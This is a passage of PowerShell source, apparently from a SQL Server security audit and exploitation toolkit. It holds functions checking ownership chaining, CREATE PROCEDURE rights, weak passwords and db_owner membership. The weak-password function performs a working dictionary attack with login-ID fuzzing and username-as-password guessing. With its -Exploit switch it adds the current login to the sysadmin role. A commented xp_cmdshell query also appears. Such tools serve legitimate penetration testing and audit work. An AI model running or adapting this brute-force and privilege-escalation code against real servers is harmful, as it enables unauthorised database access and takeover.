Get-SQLInstanceDomain | Invoke-SQLAuditPrivDbChaining -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [switch]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Database Ownership Chaining' $Description = 'Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can lead to unauthorized access to database resources.' $Remediation = "Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining." $Severity = 'Low' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'There is not exploit available at this time.' $Details = '' $Reference = 'https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/library/bb669059(v=vs.110).aspx ' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Select links configured with static credentials if($NoDefaults) { $ChainDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -NoDefaults -SuppressVerbose | Where-Object -FilterScript { $_.is_db_chaining_on -eq 'True' } } else { $ChainDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.is_db_chaining_on -eq 'True' } } # Update vulnerable status if($ChainDatabases) { $IsVulnerable = 'Yes' $ChainDatabases | ForEach-Object -Process { $DatabaseName = $_.DatabaseName Write-Verbose -Message "$Instance : - The database $DatabaseName was found configured as trustworthy." $Details = "The database $DatabaseName was found configured with ownership chaining enabled." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { Write-Verbose -Message "$Instance : - No non-default databases were found with ownership chaining enabled." } # Check for server wide setting $ServerCheck = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Name -like '*chain*' -and $_.config_value -eq 1 } if($ServerCheck) { $IsVulnerable = 'Yes' Write-Verbose -Message "$Instance : - The server configuration 'cross db ownership chaining' is set to 1. This can affect all databases." $Details = "The server configuration 'cross db ownership chaining' is set to 1. This can affect all databases." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # Check if the link is alive and verify connection + check if sysadmin # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))') # Also, recommend link crawler module # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditPrivCreateProcedure # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivCreateProcedure { <# .SYNOPSIS Check if the current login has the CREATE PROCEDURE permission. Attempt to leverage to obtain sysadmin privileges. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoOutput Don't output anything. .PARAMETER Exploit Exploit vulnerable issues .EXAMPLE PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditPrivCreateProcedure -Username evil -Password Password123! ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : PERMISSION - CREATE PROCEDURE Description : The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database. Remediation : If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a command like: REVOKE CREATE PROCEDURE TO user. Severity : Medium IsVulnerable : Yes IsExploitable : No Exploited : No ExploitCmd : No exploit is currently available that will allow evil to become a sysadmin. Details : The evil principal has the CREATE PROCEDURE permission in the testdb database. Reference : https://msdn.microsoft.com/en-us/library/ms187926.aspx?f=255&MSPPError=-2147217396 Author : Scott Sutherland (@_nullbind), NetSPI 2016 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED" Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE" Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS" } # Grab server, login, and role information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $CurrentLogin = $ServerInfo.CurrentLogin $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose $CurrentPrincpalList = @() $CurrentPrincpalList += $CurrentLogin $CurrentPrincpalList += 'Public' $CurrentLoginRoles | ForEach-Object -Process { $CurrentPrincpalList += $_.RolePrincipalName } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'PERMISSION - CREATE PROCEDURE' $Description = 'The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.' $Remediation = 'If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a command like: REVOKE CREATE PROCEDURE TO user' $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = "No exploit is currently available that will allow $CurrentLogin to become a sysadmin." $Details = '' $Dependancies = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms187926.aspx?f=255&MSPPError=-2147217396' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Get all CREATE PROCEDURE grant permissions for all accessible databases $Permissions = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -SuppressVerbose | Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PermissionName 'CREATE PROCEDURE' if($Permissions) { # Iterate through each current login and their associated roles $CurrentPrincpalList| ForEach-Object -Process { # Check if they have the CREATE PROCEDURE grant $CurrentPrincipal = $_ $Permissions | ForEach-Object -Process { $AffectedPrincipal = $_.PrincipalName $AffectedDatabase = $_.DatabaseName if($AffectedPrincipal -eq $CurrentPrincipal) { # Set flag to vulnerable $IsVulnerable = 'Yes' Write-Verbose -Message "$Instance : - The $AffectedPrincipal principal has the CREATE PROCEDURE permission in the $AffectedDatabase database." $Details = "The $AffectedPrincipal principal has the CREATE PROCEDURE permission in the $AffectedDatabase database." # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- $HasAlterSchema = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PermissionName 'ALTER' -PermissionType 'SCHEMA' -PrincipalName $CurrentPrincipal -DatabaseName $AffectedDatabase -SuppressVerbose if($HasAlterSchema) { $IsExploitable = 'Yes' $Dependancies = " $CurrentPrincipal also has ALTER SCHEMA permissions so procedures can be created." Write-Verbose -Message "$Instance : - Dependancies were met: $CurrentPrincipal has ALTER SCHEMA permissions." # Add to report example $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, "$Details$Dependancies", $Reference, $Author) } else { $IsExploitable = 'No' # Add to report example $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- if($Exploit -and $IsExploitable -eq 'Yes') { Write-Verbose -Message "$Instance : - No server escalation method is available at this time." } } } } } else { # Status user Write-Verbose -Message "$Instance : - The current login doesn't have the CREATE PROCEDURE permission in any databases." } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditWeakLoginPw # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditWeakLoginPw { <# .SYNOPSIS Check if the current login has the db_owner role in any databases. .PARAMETER Username Known SQL Server login to obtain a list of logins with for testing. .PARAMETER TestUsername SQL Server or domain account to authenticate with. .PARAMETER UserFile Path to list of users to use. One per line. .PARAMETER Password Known SQL Server login password to obtain a list of logins with for testing. .PARAMETER TestPassword Password to test provided or discovered logins with. .PARAMETER PassFile Path to list of password to use. One per line. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoUserAsPass Don't try to login using the login name as the password. .PARAMETER NoUserEnum Don't try to enumerate logins to test. .PARAMETER StartId Start id for fuzzing login IDs when authenticating as a least privilege login. .PARAMETER EndId End id for fuzzing login IDs when authenticating as a least privilege login. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Weak Login Password Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. Details : The testuser (Not Sysadmin) is configured with the password testuser. Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 ComputerName : SQLServer1 Instance : SQLServer1\Express Vulnerability : Weak Login Password Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to. Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit. Details : The testadmin (Sysadmin) is configured with the password testadmin. Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Known SQL Server login to fuzz logins with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Username to test.')] [string]$TestUsername = 'sa', [Parameter(Mandatory = $false, HelpMessage = 'Path to list of users to use. One per line.')] [string]$UserFile, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Known SQL Server password to fuzz logins with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server password to attempt to login with.')] [string]$TestPassword = 'password', [Parameter(Mandatory = $false, HelpMessage = 'Path to list of passwords to use. One per line.')] [string]$PassFile, [Parameter(Mandatory = $false, HelpMessage = 'User is tested as pass by default. This setting disables it.')] [switch]$NoUserAsPass, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't attempt to enumerate logins from the server.")] [switch]$NoUserEnum, [Parameter(Mandatory = $false, HelpMessage = 'Start id for fuzzing login IDs.')] [int]$StartId = 1, [Parameter(Mandatory = $false, HelpMessage = 'End id for fuzzing login IDss.')] [int]$EndId = 500, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [switch]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName $CurrentUSerSysadmin = $ServerInfo.IsSysadmin # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Weak Login Password' $Description = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.' $Remediation = 'Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.' $Severity = 'High' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.' $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Create empty user / password lists $LoginList = @() $PasswordList = @() # Get logins for testing - file if($UserFile) { Write-Verbose -Message "$Instance - Getting logins from file..." Get-Content -Path $UserFile | ForEach-Object -Process { $LoginList += $_ } } # Get logins for testing - variable if($TestUsername) { Write-Verbose -Message "$Instance - Getting supplied login..." $LoginList += $TestUsername } # Get logins for testing - fuzzed if(-not $NoUserEnum) { # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { # Check if sysadmin $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { # Query for logins Write-Verbose -Message "$Instance - Getting list of logins..." Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.PrincipalType -eq 'SQL_LOGIN' } | Select-Object -Property PrincipalName -ExpandProperty PrincipalName | ForEach-Object -Process { $LoginList += $_ } } else { # Fuzz logins Write-Verbose -Message "$Instance - Fuzzing principal IDs $StartId to $EndId..." Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -StartId $StartId -EndId $EndId -SuppressVerbose | Where-Object -FilterScript { $_.PrincipleType -eq 'SQL Login' } | Select-Object -Property PrincipleName -ExpandProperty PrincipleName | ForEach-Object -Process { $LoginList += $_ } } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials." } return } } # Check for users or return - count array if($LoginList.count -eq 0 -and (-not $FuzzLogins)) { Write-Verbose -Message "$Instance - No logins have been provided." return } # Get passwords for testing - file if($PassFile) { Write-Verbose -Message "$Instance - Getting password from file..." Get-Content -Path $PassFile | ForEach-Object -Process { $PasswordList += $_ } } # Get passwords for testing - variable if($TestPassword) { Write-Verbose -Message "$Instance - Getting supplied password..." $PasswordList += $TestPassword } # Check for provided passwords if($PasswordList.count -eq 0 -and (-not $UserAsPass)) { Write-Verbose -Message "$Instance - No password have been provided." return } # Iternate through logins and perform dictionary attack Write-Verbose -Message "$Instance - Performing dictionary attack..." $LoginList | Select-Object -Unique | ForEach-Object -Process { $TargetLogin = $_ $PasswordList | Select-Object -Unique | ForEach-Object -Process { $TargetPassword = $_ $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestPass) { # Check if guess credential is a sysadmin $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { $SysadminStatus = 'Sysadmin' } else { $SysadminStatus = 'Not Sysadmin' } Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword" if($Exploit) { Write-Verbose -Message "$Instance - Trying to make you a sysadmin..." # Check if the current login is a sysadmin $IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin1 -eq 'Yes') { Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." } else { Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." # Add current user as sysadmin if login was successful Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose # Check if the current login is a sysadmin again $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin2 -eq 'Yes') { $Exploited = 'Yes' Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." } else { $Exploited = 'No' Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." } } } # Add record $Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword." $IsVulnerable = 'Yes' $IsExploitable = 'Yes' $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword" } } } # Test user as pass if(-not $NoUserAsPass) { $LoginList | Select-Object -Unique | ForEach-Object -Process { $TargetLogin = $_ $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestPass) { # Check if user/name combo has sysadmin $IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin3 -eq 'Yes') { $SysadminStatus = 'Sysadmin' } else { $SysadminStatus = 'Not Sysadmin' } Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin" if(($Exploit) -and $IsSysadmin3 -eq 'Yes') { # Check if the current login is a sysadmin $IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin4 -eq 'Yes') { Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do." } else { Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." # Add current user as sysadmin if login was successful Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose # Check if the current login is a sysadmin again $IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin5 -eq 'Yes') { $Exploited = 'Yes' Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." } else { $Exploited = 'No' Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin." } } } # Add record $Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin." $IsVulnerable = 'Yes' $IsExploitable = 'Yes' $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin" } } } # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # Check if the link is alive and verify connection + check if sysadmin # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password" } End { # Return data if ( -not $NoOutput) { Return $TblData | Sort-Object -Property computername, instance, details } } } # --------------------------------------- # Invoke-SQLAuditRoleDbOwner # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditRoleDbOwner { <# .SYNOPSIS Check if the current login has the db_owner role in any databases. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditRoleDbOwner -Instance SQLServer1\STANDARDDEV2014 -Username myuser -Password mypassword ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : DATABASE ROLE - DB_OWNER Description : The login has the DB_OWER role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin. Remediation : If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_OWNER', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_OWNER', 'MyDbUser' Severity : Medium IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Invoke-SQLAuditRoleDbOwner -Instance SQLServer1\STANDARDDEV2014 -Username myuser -Password mypassword -Exploit Details : myuser has the DB_OWNER role in the testdb database. Reference : https://msdn.microsoft.com/en-us/library/ms189121.aspx,https://msdn.microsoft.com/en-us/library/ms187861.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditRoleDbOwner -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : 